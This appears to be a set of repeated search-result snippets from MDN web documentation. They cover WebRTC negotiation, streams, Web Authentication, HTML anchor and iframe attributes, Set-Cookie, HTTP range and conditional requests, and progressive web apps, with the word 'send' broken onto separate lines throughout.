f ice negotiation by instructing your code to begin exchanging ice candidates through the signaling server. see signaling transaction flow in signaling and video calling for a description of the signaling process that begins with a negotiationneeded event. examples in this example, we use addeventlistener() to create an event handler for negotiationneeded. ...
...ignaling process that begins with a negotiationneeded event. examples in this example, we use addeventlistener() to create an event handler for negotiationneeded. its role is to create an sdp offer and
send it through the signaling channel to the remote peer. pc.addeventlistener("negotiationneeded", ev => { pc.createoffer() .then(offer => return pc.setlocaldescription(offer)) .then(() =>
sendsignalingmessage({ type: "video-offer", sdp: pc.localdescription })) .catch(err => { /* handle error */ ); }, false); after creating the offer, the local end is configured by calling rtcpeerconnection.setlocaldescription(); then a signaling message is created and sent to the remote peer through the signaling server, to share that offer with the other peer. the other peer should...
...local end is configured by calling rtcpeerconnection.setlocaldescription(); then a signaling message is created and sent to the remote peer through the signaling server, to share that offer with the other peer. ...
... the remote description with setremotedescription(), and then creating an answer to
send back to the offering peer. you can also set an event handler for the negotiationneeded event by assigning the event handler function to the rtcpeerconnection.onnegotiationneeded property: pc.onnegotiationneeded = ev => { pc.createoffer() .then(offer => return pc.setlocaldescription(offer)) .then(() =>
sendsignalingmessage({ type: "video-offer", sdp: pc.localdescription })) .catch(err => { /* handle error */ ); }; for a more detailed example, see starting negotiation in signaling and video calling. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'negotiationneeded' in that specification. ...
RTCPeerConnection.removeTrack() - Web APIs
the rtcpeerconnection.removetrack() method tells the local end of the connection to stop
sending media from the specified track, without actually removing the corresponding rtcrtp
sender from the list of
senders as reported by rtcpeerconnection.get
senders(). if the track is already stopped, or is not in the connection's
senders list, this method has no effect. if the connection has already been negotiated (signalingstate is set to "stable"), it is marked as needing to be negotiated again; the remote peer won't experience the change until this negotiation occurs. a negotiationneeded event is sent to the rtcpeerconnection to let the local end know this negotiation must occur. ...
... connection's
senders list, this method has no effect. if the connection has already been negotiated (signalingstate is set to "stable"), it is marked as needing to be negotiated again; the remote peer won't experience the change until this negotiation occurs. a negotiationneeded event is sent to the rtcpeerconnection to let the local end know this negotiation must occur. syntax pc.removetrack(
sender); parameters mediatrack a rtcrtp
sender specifying the
sender to remove from the connection. return value undefined. exceptions invalidstateerror the connection is not open. example this example adds a video track to a connection and sets up a listener on a close button which removes the track when the user clicks the button. ...
...ion must occur. syntax pc.removetrack(
sender); parameters mediatrack a rtcrtp
sender specifying the
sender to remove from the connection. return value undefined. exceptions invalidstateerror the connection is not open. example this example adds a video track to a connection and sets up a listener on a close button which removes the track when the user clicks the button. ...
...on. return value undefined. exceptions invalidstateerror the connection is not open. example this example adds a video track to a connection and sets up a listener on a close button which removes the track when the user clicks the button. var pc,
sender; navigator.getusermedia({video: true}, function(stream) { pc = new rtcpeerconnection(); var track = stream.getvideotracks()[0];
sender = pc.addtrack(track, stream); }); document.getelementbyid("closebutton").addeventlistener("click", function(event) { pc.removetrack(
sender); pc.close(); }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.removetrack()' in that specification. candidate recommendation...
RTCRtpEncodingParameters - Web APIs
an instance of the webrtc api's rtcrtpencodingparameters dictionary describes a single configuration of a codec for an rtcrtp
sender. it's used in the rtcrtp
sendparameters describing the configuration of an rtp
sender's encodings; rtcrtpdecodingparameters is used to describe the configuration of an rtp receiver's encodings. properties active if true, the described encoding is currently actively being used. that is, for rtp
senders, the encoding is currently being used to
send data, while for receivers, the encoding is being used to decode received data. the default value is true. ...
...ameters is used to describe the configuration of an rtp receiver's encodings. properties active if true, the described encoding is currently actively being used. that is, for rtp
senders, the encoding is currently being used to
send data, while for receivers, the encoding is being used to decode received data. the default value is true. codecpayloadtype when describing a codec for an rtcrtp
sender, codecpayloadtype is a single 8-bit byte (or octet) specifying the codec to use for
sending the stream; the value matches one from the owning rtcrtpparameters object's codecs parameter. ...
...the value is taken from the enumerated string type rtcdtxstatus. ...
...s typically only relevant for audio encodings. the user agent will try to match this as well as it can, but there is no guarantee. rid a domstring which, if set, specifies an rtp stream id (rid) to be sent using the rid header extension. this parameter cannot be modified using setparameters(). its value can only be set when the transceiver is first created. scaleresolutiondownby only used for
senders whose track's kind is video, this is a double-precision floating-point value specifying a factor by which to scale down the video during encoding. the default value, 1.0, means that the sent video's size will be the same as the original. a value of 2.0 scales the video frames down by a factor of 2 in each dimension, resulting in a video 1/4 the size of the original. the value must not be less ...
RTCStatsReport - Web APIs
the rtcstatsreport interface provides a statistics report obtained by calling one of the rtcpeerconnection.getstats(), rtcrtpreceiver.getstats(), and rtcrtp
sender.getstats() methods. this statistics report contains a mapping of statistic category string names to objects containing the corresponding statistics data. calling getstats() on an rtcpeerconnection lets you specify whether you wish to obtain statistics for outbound, inbound, or all streams on the connection. the rtcrtpreceiver and rtcrtp
sender versions of getstats() specifically only return statistics available to the incoming or outgoing stream on which you call them. the statistics objects for each category of statistic information, there is a dictionary whose properties provide the relevant information. properties common to ...
...ate to new during an ice restart. the active candidate pair is deleted after the transport switches to another candidate pair; this change cannot be detected otherwise. certificate an rtccertificatestats object providing statistics related to a certificate being used by an rtcicetransport. codec an rtccodecstats object containing statistics about a codec currently being used by rtp streams to
send or receive data for the rtcpeerconnection. csrc an rtccontributingsourcestats object which contains statistics related to a contributing source (csrc) that contributed to an inbound rtp stream. data-channel an rtcdatachannelstats object which contains statistics about each rtcdatachannel on the connection. inbound-rtp an rtcinboundrtpstreamstats object providing statistics about inbound dat...
...ormation is about your outbound-rtp stream, but as seen by the remote device that's handling the stream. you can use this information to do things like determine how well the remote peer is receiving data. remote-outbound-rtp the report is an rtcremoteoutboundrtpstreamstats object that contains statistics about your inbound rtp (inbound-rtp) stream, but from the perspective of the remote peer.
sender an object containing statistics about the rtcrtp
sender for a stream on the rtcpeerconnection. if kind is "audio", this object is of type rtcaudio
senderstats; if kind is "video", this is an rtcvideo
senderstats object. stream an object of type rtcmediastreamstats, providing statistics and information about a mediastream which is part of the rtcpeerconnection. track the object is one of the t...
...am on the rtcpeerconnection. if kind is "audio", this object is of type rtcaudio
senderstats; if kind is "video", this is an rtcvideo
senderstats object. stream an object of type rtcmediastreamstats, providing statistics and information about a mediastream which is part of the rtcpeerconnection. track the object is one of the types based on rtcmediahandlerstats: for audio tracks, the type is rtc
senderaudiotrackattachmentstats and for video tracks, the type is rtc
sendervideotrackattachmentstats. the data within provides statistics related to a particular mediastreamtrack's attachment to an rtcrtp
sender; also included are the media level metrics that go along with the track. transport an object that contains statistics related to a transport for an rtcpeerconnection. the object is of type rt...
Using writable streams - Web APIs
to a format that can be written to the ui. this is called when each chunk is actually written (see the next section). the close() method is called automatically when writing has finished — it prints the entire decoded result to the ui in one string. the abort() method simply prints an error to the console if the stream is aborted. ...
...itten (see the next section). the close() method is called automatically when writing has finished — it prints the entire decoded result to the ui in one string. the abort() method simply prints an error to the console if the stream is aborted. ...
...s called automatically when writing has finished — it prints the entire decoded result to the ui in one string. the abort() method simply prints an error to the console if the stream is aborted. ...
......
Web Authentication API - Web APIs
the resulting data means. figure 1 - a diagram showing the sequence of actions for a web authentication registration and the essential data associated with each action. the registration steps are: application requests registration - the application makes the initial registration request. the protocol and format of this request is outside of the scope of the web authentication api. server
sends challenge, user info, and relying party info - the server
sends a challenge, user information, and relying party information to the javascript program. the protocol for communicating with the server is not specified and is outside of the scope of the web authentication api. typically, server communications would be rest over https (probably using xmlhttprequest or fetch), but they could also be ...
...th a private key that was burned into the authenticator during its manufacturing process and that has a certificate chain that can be validated back to a root of trust. authenticator returns data to browser - the new public key, a globally unique credential id, and other attestation data are returned to the browser where they become the attestationobject. browser creates final data, application
sends response to server - the create() promise resolves to an publickeycredential, which has a publickeycredential.rawid that is the globally unique credential id along with a response that is the authenticatorattestationresponse containing the authenticatorresponse.clientdatajson and authenticatorattestationresponse.attestationobject. the publickeycredential is sent back to the server using any desi...
...authenticatorassertionresponse interface) . figure 2 - similar to figure 1, a diagram showing the sequence of actions for a web authentication and the essential data associated with each action. application requests authentication - the application makes the initial authentication request. the protocol and format of this request is outside of the scope of the web authentication api. server
sends challenge - the server
sends a challenge to the javascript program. the protocol for communicating with the server is not specified and is outside of the scope of the web authentication api. typically, server communications would be rest over https (probably using xmlhttprequest or fetch), but they could also be soap, rfc 2549 or nearly any other protocol provided that the protocol is secure. th...
...ssuming both of those steps are successful, the authenticator will create a new assertion by signing over the clientdatahash and authenticatordata with the private key generated for this account during the registration call. authenticator returns data to browser - the authenticator returns the authenticatordata and assertion signature back to the browser. browser creates final data, application
sends response to server - the browser resolves the promise to a publickeycredential with a publickeycredential.response that contains the authenticatorassertionresponse. it is up to the javascript application to transmit this data back to the server using any protocol and format of its choice. server validates and finalizes authentication - upon receiving the result of the authentication request, th...
window.location - Web APIs
example #6: using bookmarks ...
... example #6: using bookmarks without changing the hash property: <!doctype html> <html> <head> <meta charset...
... example #6: using bookmarks without changing the hash property: <!doctype html> <html> <head> <meta charset="utf-8"/> <title>mdn example</title> <script> function shownode (onode) { d...
... example #6: using bookmarks without changing the hash property: <!doctype html> <html> <head> <meta charset="utf-8"/> <title>mdn example</title> <script> function shownode (onode) { document.documentelement.
WritableStream - Web APIs
returns a new instance of writablestreamdefaultwriter and locks the stream to that instance. while the stream is locked, no other writer can be acquired until this one is released. examples the following example illustrates several features of this interface. it shows the creation of the writablestream with a custom sink and an api-supplied queueing strategy. it then calls a function called
sendmessage(), passing the newly created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. const list = document.qu...
...created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. ...
... backpressure because of how backpressure is supported in the api, its implementation in code may be less than obvious. to see how backpressure is implemented look for three things. the highwatermark property, which is set when creating the counting strategy (line 35), sets the maximum amount of...
...writer.ready. specifications specification status comment streamsthe definition of 'writablestream' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwritablestream experimentalchrome full support 59edge full support 16firefox no support ...
Linear-gradient Generator - CSS: Cascading Style Sheets
'data-hidden', 'true'); else this.dropmenu.removeattribute('data-hidden'); }; dropdown.prototype.updatevalue = function updatevalue(e) { if (date.now() - this.time < 500) return; if (e.target.classname !== "ui-dropdown-list") { this.setnodevalue(e.target); this.toggle(false); } this.time = date.now(); }; dropdown.prototype.setnodevalue = function setnodevalue(node,
send_notify) { this.value['name'] = node.textcontent; this.value['value'] = node.getattribute('data-value'); this.select.textcontent = node.textcontent; this.select.setattribute('data-value', this.value['value']); if (
send_notify !== false) notify.call(this); }; var clickout = function clickout(e) { if (active.state === 0 || e.target === active.dropmenu || e.target === active...
... var dropdown = document.createelement('div'); dropdown.setattribute('data-topic', topic); dropdown.classname = 'ui-dropdown'; for (var i in options) { var x = document.createelement('div'); x.setattribute('data-value', i); x.textcontent = options[i]; dropdown.appendchild(x); } new dropdown(dropdown); return dropdown; }; var setvalue = function setvalue(topic, index,
send_notify) { if (dropdowns[topic] === undefined || index >= dropdowns[topic].dropmenu.children.length) return; dropdowns[topic].setnodevalue(dropdowns[topic].dropmenu.children[index],
send_notify); }; var subscribe = function subscribe(topic, callback) { if (subscribers[topic] === undefined) subscribers[topic] = []; subscribers[topic].push(callback); }; var unsubscribe = func...
... name; node.appendchild(info); } node.appendchild(slider_left); node.appendchild(input); node.appendchild(slider_right); this.input = input; sliders[topic] = this; setvalue(topic, value); }; inputslider.prototype.setinputvalue = function setinputvalue() { this.input.value = this.value.tofixed(this.precision) + this.unit; }; var setvalue = function setvalue(topic, value,
send_notify) { var slider = sliders[topic]; if (slider === undefined) return; value = parsefloat(value.tofixed(slider.precision)); if (value > slider.max) value = slider.max; if (value < slider.min) value = slider.min; slider.value = value; slider.node.setattribute('data-value', value); slider.setinputvalue(); if (
send_notify === false) return; notify.call(slider); }; ...
... var setmax = function setmax(topic, value) { var slider = sliders[topic]; if (slider === undefined) return; slider.max = value; setvalue(topic, slider.value); }; var setmin = function setmin(topic, value) { var slider = sliders[topic]; if (slider === undefined) return; slider.min = value; setvalue(topic, slider.value); }; var setunit = function setunit(topic, unit,
send_notify) { var slider = sliders[topic]; if (slider === undefined) return; slider.unit = unit; setvalue(topic, slider.value,
send_notify); }; var setstep = function setstep(topic, value) { var slider = sliders[topic]; if (slider === undefined) return; slider.step = parsefloat(value); setvalue(topic, slider.value); }; var setprecision = function setprecision(topic, valu...
<a>: The Anchor element - HTML: Hypertext Markup Language
attribute, creates a hyperlink to web pages, files, email addresses, locations in the same page, or anything else a url can address. content within each <a> should indicate the link's destination. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. attributes this element's attributes include the global attributes. downloadhtml5 prompts the user to save the linked url instead of navigating to it. can be used with or without a value: without a value, the browser will suggest a filename/extension, generated from various sources: the content-disposition http header the final segment in the url path ...
...telephone numbers with tel: urls email addresses with mailto: urls while web browsers may not support other url schemes, web sites can with registerprotocolhandler() hreflang hints at the human language of the linked url. no built-in functionality. allowed values are the same as the global lang attribute. ping a space-separated list of urls. when the link is followed, the browser will
send post requests with the body ping to the urls. typically for tracking. referrerpolicy how much of the referrer to
send when following the link. see referrer-policy for possible values and their effects. rel the relationship of the linked url as space-separated link types. target where to display the linked url, as the name for a browsing context (a tab, window, or <iframe>). the following k...
... <p><a href="#section_further_down"> jump to the heading below </a></p> <!-- heading to link to --> <h2 id="section_further_down">section further down</h2> note: you can use href="#top" or the empty fragment (href="#") to link to the top of the current page, as defined in the html specification. linking to an email address to create links that open in the user's email program to let them
send a new message, use the mailto: scheme: <a href="mailto:nowhere@mozilla.org">
send email to nowhere</a> for details about mailto: urls, such as including a subject or body, see email links or rfc 6068. linking to telephone numbers <a href="tel:+49.157.0156">+49 157 0156</a> <a href="tel:+1(555)5309">(555) 5309</a> tel: link behavior varies with device capabilities: cellular devices autodial...
...ef="tel:+49.157.0156">+49 157 0156</a> <a href="tel:+1(555)5309">(555) 5309</a> tel: link behavior varies with device capabilities: cellular devices autodial the number. most operating systems have programs that can make calls, like skype or facetime. websites can make phone calls with registerprotocolhandler, such as web.skype.com. other behaviors include saving the number to contacts, or
sending the number to another device. see rfc 3966 for syntax, additional features, and other details about the tel: url scheme. using the download attribute to save a <canvas> as a png to save a <canvas> element’s contents as an image, you can create a link with a download attribute and the canvas data as a data: url: example painting app with save link html <p>paint by holding down the mous...
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
each embedded browsing context has its own session history and document. ...
...frame until it reaches a calculated distance from the viewport, as defined by the browser. name a targetable name for the embedded browsing context. this can be used in the target attribute of the <a>, <form>, or <base> elements; the formtarget attribute of the <input> or <button> elements; or the windowname parameter in the window.open() method. referrerpolicy indicates which referrer to
send when fetching the frame's resource: no-referrer: the referer header will not be sent. no-referrer-when-downgrade (default): the referer header will not be sent to origins without tls (https). origin: the sent referrer will be limited to the origin of the referring page: its scheme, host, and port. origin-when-cross-origin: the referrer sent to other origins will be limited to the scheme...
...ill be limited to the origin of the referring page: its scheme, host, and port. origin-when-cross-origin: the referrer sent to other origins will be limited to the scheme, the host, and the port. navigations on the same origin will still include the path. same-origin: a referrer will be sent for same origin, but cross-origin requests will contain no referrer information. ...
...nt to other origins will be limited to the scheme, the host, and the port. navigations on the same origin will still include the path. same-origin: a referrer will be sent for same origin, but cross-origin requests will contain no referrer information. strict-origin: only
send the origin of the document as the referrer when the protocol security level stays the same (https→https), but don't
send it to a less secure destination (https→http). strict-origin-when-cross-origin:
send a full url when performing a same-origin request, only
send the origin when the protocol security level stays the same (https→https), and
send no header to a less secure destination (https→http). unsafe-url: the referrer will include the origin and the path (but not the fragment, password, or username). ...
<input type="search"> - HTML: Hypertext Markup Language
nput> elements of type search are text fields designed for the user to enter search queries into. these are functionally identical to text inputs, but may be styled differently by the user agent. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. value a domstring representing the value contained in the search field. events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, required, size. idl attributes value methods select(), setrangetext(), setselectionrange(). value the value attribute conta...
...he maxlength attribute. spellcheck non-standard attributes the following non-standard attributes are available to search input fields. as a general rule, you should avoid using them unless it can't be helped. attribute description autocorrect whether or not to allow autocorrect while editing this input field. safari only. incremental whether or not to
send repeated search events to allow updating live search results while the user is still editing the value of the field. webkit and blink only (safari, chrome, opera, etc.). mozactionhint a string indicating the type of action that will be taken when the user presses the enter or return key while editing the field; this is used to determine an appropriate label for that key on a virtual k...
... typos, as well as processing of text substitutions if any are configured. off disable automatic correction and text substitutions. incremental the boolean attribute incremental is a webkit and blink extension (so supported by safari, opera, chrome, etc.) which, if present, tells the user agent to process the input as a live search. as the user edits the value of the field, the user agent
sends search events to the htmlinputelement object representing the search box. this allows your code to update the search results in real time as the user edits the search. if incremental is not specified, the search event is only sent when the user explicitly initiates a search (such as by pressing the enter or return key while editing the field). the search event is rate-limited so that it is not...
... presses the enter or return key while editing the field. this information is used to decide what kind of label to use on the enter key on the virtual keyboard. note: this has been standardized as the global attribute enterkeyhint, but is not yet widely implemented. to see the status of the change being implemented in firefox, see bug 1490661. permitted values are: go, done, next, search, and
send. the browser decides, using this hint, what label to put on the enter key. results the results attribute—supported only by safari—is a numeric value that lets you override the maximum number of entries to be displayed in the <input> element's natively-provided drop-down menu of previous search queries. the value must be a non-negative decimal number. if not provided, or an invalid value...
HTTP conditional requests - HTTP
pending on the value of specific headers. these headers define a precondition, and the result of the request will be different if the precondition is matched or not. the different behaviors are defined by the method of the request used, and by the set of headers used for a precondition: for safe methods, like get, which usually tries to fetch a document, the conditional request can be used to
send back the document, if relevant only. therefore, this spares bandwidth. for unsafe methods, like put, which usually uploads a document, the conditional request can be used to upload the document, only if the original it is based on is the same as that stored on the server. validators all conditional headers try to check if the resource stored on the server matches a specific version. to achiev...
...e cache becomes stale. as long as the cache is not stale, no requests are issued at all. but once it has become stale, this is mostly controlled by the cache-control header, the client doesn't use the cached value directly but issues a conditional request. the value of the validator is used as a parameter of the if-modified-since and if-match headers. ...
...ified-since and if-match headers. if the resource has not changed, the server
sends back a 304 not modified response. this makes the cache fresh again, and the client uses the cached resource. although there is a response/request round-trip that consumes some resources, this is more efficient than to transmit the whole resource over the wire again. if the resource has changed, the server just
sends back a 200 ok response, with the new version of the resource, like if the request wasn't conditional and the client uses this new resource (and caches it). besides the setting of the validators on the server side, this mechanism is transparent: all browsers manage a cache and
send such conditional requests without any special work to be done by web developers. integrity of a partial download...
... is transparent: all browsers manage a cache and
send such conditional requests without any special work to be done by web developers. integrity of a partial download partial downloading of files is a functionality of http that allows to resume previous operations, saving bandwidth and time, by keeping the already obtained information: a server supporting partial downloads broadcasts this by
sending the accept-ranges header. once this happens, the client can resume a download by
sending a ranges header with the missing ranges: the principle is simple, but there is one potential problem: if the downloaded resource has been modified between both downloads, the obtained ranges will correspond to two different versions of the resource, and the final document will be corrupted. to prevent ...
Connection management in HTTP/1.x - HTTP
ites and web applications. in http/1.x, there are several models: short-lived connections, persistent connections, and http pipelining. http mostly relies on tcp for its transport protocol, providing a connection between the client and the server. in its infancy, http used a single model to handle such connections. these connections were short-lived: a new one created each time a request needed
sending, and closed once the answer had been received. this simple model held an innate limitation on performance: opening each tcp connection is a resource-consuming operation. several messages must be exchanged between the client and the server. network latency and bandwidth affect performance when a request needs
sending. modern web pages require many requests (a dozen or more) to serve the amount...
... http/2 adds additional models for connection management. it's important point to note that connection management in http applies to the connection between two consecutive nodes, which is hop-by-hop and not end-to-end. ...
...superseded by a better algorithm, multiplexing, that is used by http/2. by default, http requests are issued sequentially. the next request is only issued once the response to the current request has been received. as they are affected by network latencies and bandwidth limitations, this can result in significant delay before the next request is seen by the server. pipelining is the process to
send successive requests, over the same persistent connection, without waiting for the answer. this avoids latency of the connection. theoretically, performance could also be improved if two http requests were to be packed into the same tcp message. the typical mss (maximum segment size), is big enough to contain several simple requests, although the demand in size of http requests continues to grow. ...
...prioritized requests very well. domain sharding is even detrimental to performance. most http/2 implementations use a technique called connection coalescing to revert eventual domain sharding. as an http/1.x connection is serializing requests, even without any ordering, it can't be optimal without large enough available bandwidth. as a solution, browsers open several connections to each domain,
sending parallel requests. default was once 2 to 3 connections, but this has now increased to a more common use of 6 parallel connections. there is a risk of triggering dos protection on the server side if attempting more than this number. if the server wishes a faster web site or application response, it is possible for the server to force the opening of more connections. for example, instead of hav...
Set-Cookie - HTTP
browsers block frontend javascript code from accessing the set cookie header, as required by the fetch spec, which defines set-cookie as a forbidden response-header name that must be filtered out from any response exposed to frontend code. for more information, see the guide on http cookies. ...
... if omitted, defaults to the host of the current document url, not including subdomains. contrary to earlier specifications, leading dots in domain names (.example.com) are ignored. multiple host/domain values are not allowed, but if a domain is specified, then subdomains are always included. path=<path-value> optional a path that must exist in the requested url, or the browser won't
send the cookie header. the forward slash (/) character is interpreted as a directory separator, and subdirectories will be matched as well: for path=/docs, /docs, /docs/web/, and /docs/web/http will all match. secure optional a secure cookie is only sent to the server when a request is made with the https: scheme. (however, confidential information should never be stored in http cookies, as the en...
...n't encrypt any information.) note: insecure sites (http:) can't set cookies with the secure attribute (since chrome 52 and firefox 52). httponly optional forbids javascript from accessing the cookie, for example, through the document.cookie property. note that a cookie that has been created with httponly will still be sent with javascript-initiated requests, e.g. when calling xmlhttprequest.
send() or fetch(). this mitigates attacks against cross-site scripting (xss). samesite=<samesite-value> optional strict: the browser
sends the cookie only for same-site requests (that is, requests originating from the same site that set the cookie). if the request originated from a different url than the current one, no cookies with the samesite=strict attribute are sent. lax: the cookie is w...
...equests originating from the same site that set the cookie). if the request originated from a different url than the current one, no cookies with the samesite=strict attribute are sent. lax: the cookie is withheld on cross-site subrequests, such as calls to load images or frames, but is sent when a user navigates to the url from an external site, such as by following a link. none: the browser
sends the cookie with both cross-site and same-site requests. asserts that a cookie must not be sent with cross-origin requests, providing some protection against cross-site request forgery attacks (csrf). browsers are migrating to have cookies default to samesite=lax. if a cookie is needed to be sent cross-origin, opt out of the samesite restriction using the none value. the none value requires...
HTTP range requests - HTTP
partial requests are useful for large media or downloading files with pause and resume functions, for example. checking if a server supports partial requests if the accept-ranges is present in http responses (and its value isn't "none"), the server supports range requests. you can check this by issuing a head request with curl, for example. curl -i http://i.imgur.com/z4d4kwk.jpg http/1.1 200 ok ... accept-ranges: bytes content-length: 146515 in this response, accept-ranges: bytes indicates that bytes can be used as unit to define a range. here the content-length header is also useful as it indicates the full size of the image to retrieve. ...
...gur.com/z4d4kwk.jpg http/1.1 200 ok ... accept-ranges: bytes content-length: 146515 in this response, accept-ranges: bytes indicates that bytes can be used as unit to define a range. here the content-length header is also useful as it indicates the full size of the image to retrieve. if sites omit the accept-ranges header, they likely don't support partial requests. some sites also explicitly
send "none" as a value, indicating no support. in some apps, download managers disable their pause buttons in that case. curl -i https://www.youtube.com/watch?v=ewtz2xpqwpa http/1.1 200 ok ... accept-ranges: none requesting a specific range from a server if the server supports range requests, you can issue such a request by using the range header. it indicates the part(s) of a document that the s...
...quiv="content-type" content="text/html; c --3d6b6a416f9b5-- conditional range requests when resuming to request more parts of a resource, you need to guarantee that the stored resource has not been modified since the last fragment has been received. the if-range http request header makes a range request conditional: if the condition is fulfilled, the range request will be issued and the server
sends back a 206 partial content answer with the appropriate body. if the condition is not fulfilled, the full resource is sent back, with a 200 ok status. this header can be used either with a last-modified validator, or with an etag, but not with both. if-range: wed, 21 oct 2015 07:28:00 gmt partial request responses there are three relevant statuses, when working with range requests: in case...
... 416 requested range not satisfiable status. in case of no support of range requests, the 200 ok status is sent back from a server. comparison to chunked transfer-encoding the transfer-encoding header allows chunked encoding, which is useful when larger amounts of data are sent to the client and the total size of the response is not known until the request has been fully processed. the server
sends data to the client straight away without buffering the response or determining the exact length, which leads to improved latency. range requests and chunking are compatible and can be used with or without each other. ...
Populating the page: how browsers work - Web Performance
es. users want and expect web experiences with content that is fast to load and smooth to interact with. two major issues in web performance are understanding issues having to do with latency and issues having to do with the fact that for the most part, browsers are single threaded. latency is our main threat to overcome to ensure a fast load. to be fast to load, the developers’ goals include
sending requested information as fast as possible, or at least seem super fast. network latency is the time it takes to transmit bytes over-the-air to computers. web performance is what we have to do to make the page load happen as quickly as possible. for the most part, browsers are considered single threaded. for smooth interactions, the developer's goal is to ensure performant site interactions, f...
...or content is actually sent. while making the connection secure adds time to the page load, a secure connection is worth the latency expense, as the data transmitted between the browser and the web server cannot be decrypted by a third party. after the 8 round trips, the browser is finally able to make the request. response once we have an established connection to a web server, the browser
sends an initial http get request on behalf of the user, which for websites is most often an html file. once the server receives the request, it will reply with relevant response headers and the contents of the html. <!doctype html> <html> <head> <meta charset="utf-8"/> <title>my simple page</title> <link rel="stylesheet" src="styles.css"/> <script src="myscript.js"></script> </head> <body> ...
...nced. if you’ve ever heard of the 14kb rule for initial page load, tcp slow start is the reason why the initial response is 14kb, and why web performance optimization calls for focusing optimizations with this initial 14kb response in mind. tcp slow start gradually builds up transmission speeds appropriate for the network's capabilities to avoid congestion. congestion control as the server
sends data in tcp packets, the user's client confirms delivery by returning acknowledgements, or acks. the connection has a limited capacity depending on hardware and network conditions. if the server
sends too many packets too quickly, they will be dropped. meaning, there will be no acknowledgement. the server registers this as missing acks. congestion control algorithms use this flow of sent packets...
... parsing once the browser receives the first chunk of data, it can begin parsing the information received. ...
Introduction to progressive web apps - Progressive web apps (PWAs)
a flexible, adaptable app using only web technologies. pwas are web apps developed using a number of specific technologies and standard patterns to allow them to take advantage of both web and native app features. for example, web apps are more discoverable than native apps; it's a lot easier and faster to visit a website than to install an application, and you can also share web apps by simply
sending a link. on the other hand, native apps are better integrated with the operating system and therefore offer a more seamless experience for the users. you can install a native app so that it works offline, and users love tapping their icons to easily access their favorite apps, rather than navigating to it using a browser. pwas give us the ability to create web apps that can enjoy these same a...
... pwas are not created with a single technology. they represent a new philosophy for building web apps, involving some specific patterns, apis, and other features. it's not that obvious if a web app is a pwa or not from first glance. an app could be considered a pwa when it meets certain requirements, or implements a set of given features: works offline, is installable, is easy to synchronize, can
send push notifications, etc. in addition, there are tools to measure how complete (as a percentage) a web app is, such as lighthouse. by implementing various technological advantages, we can make an app more progressive, thus ending up with a higher lighthouse score. but this is only a rough indicator. there are some key principles a web app should try to observe to be identified as a pwa. it shoul...
...p more progressive, thus ending up with a higher lighthouse score. but this is only a rough indicator. there are some key principles a web app should try to observe to be identified as a pwa. it should be: discoverable, so the contents can be found through search engines. installable, so it can be available on the device's home screen or app launcher. linkable, so you can share it by simply
sending a url. network independent, so it works offline or with a poor network connection. progressive, so it's still usable on a basic level on older browsers, but fully-functional on the latest ones. re-engageable, so it's able to
send notifications whenever there's new content available. responsive, so it's usable on any device with a screen and a browser—mobile phones, tablets, laptops, tvs,...
...a features and technologies between different browser implementations. re-engageability one major advantage of native platforms is the ease with which users can be re-engaged by updates and new content, even when they aren't looking at the app or using their devices. modern web apps can now do this too, using new technologies such as service workers for controlling pages, the web push api for
sending updates straight from server to app via a service worker, and the notifications api for generating system notifications to help engage users when they're not actively using their web browser. responsiveness responsive web apps use technologies like media queries and viewport to make sure that their uis will fit any form factor: desktop, mobile, tablet, or whatever comes next. safety th...
Cross-domain Content Scripts - Archive of obsolete content
nction(message) { console.log(message); }); the "page.html" file embeds an iframe whose content is served from "http://en.m.wikipedia.org/": <!doctype html> <!-- page.html --> <html> <head></head> <body> <iframe id="wikipedia" src="http://en.m.wikipedia.org/"></iframe> </body> </html> the "page-script.js" file locates "today's featured article" and
sends its content to "main.js": // page-script.js var iframe = window.document.getelementbyid("wikipedia"); var todaysfeaturedarticle = iframe.contentwindow.document.getelementbyid("mp-tfa"); self.postmessage(todaysfeaturedarticle.textcontent); for this to work, we need to add the "cross-domain-content" key to "package.json": "permissions": { "cross-domain-content": ["http://en.m.wikipedia.org/"...
....org/"] } the add-on should successfully retrieve the iframe's content. cross-domain xmlhttprequest the following add-on creates a panel whose content is the summary weather forecast for shetland. if you want to try it out, you'll need to register and get an api key. ...
...regionalforecast/json/500?key=your-api-key"; self.port.on("show", function () { var request = new xmlhttprequest(); request.open("get", url, true); request.onload = function () { var jsonresponse = json.parse(request.responsetext); var summary = getsummary(jsonresponse); var element = document.getelementbyid("forecast_summary"); element.textcontent = summary; }; request.
send(); }); function getsummary(forecast) { return forecast.regionalfcst.fcstperiods.period[0].paragraph[0].$; } finally, we need to add the "cross-domain-content" key to "package.json": "permissions": { "cross-domain-content": ["http://datapoint.metoffice.gov.uk"] } content permissions and unsafewindow if you use "cross-domain-content", then javascript values in content scripts will not be...
self - Archive of obsolete content
this is an older api than the api provided by port, and for most purposes the port api is a better choice. the exception is the context-menu module, which still uses postmessage. pos...
...tion(tab) { tab.attach({ contentscriptfile: "./content-script.js", contentscriptoptions: { a: "blah" } }); } }); // content-script.js alert(self.options.a); port you can use port to receive messages from, and
send messages to, the main add-on code. see the documentation for port. methods the self object has four methods, which enable the content script to
send messages to, and receive messages from, the main add-on code. ...
..., the main add-on code. see the documentation for port. methods the self object has four methods, which enable the content script to
send messages to, and receive messages from, the main add-on code. this is an older api than the api provided by port, and for most purposes the port api is a better choice. the exception is the context-menu module, which still uses postmessage. postmessage()
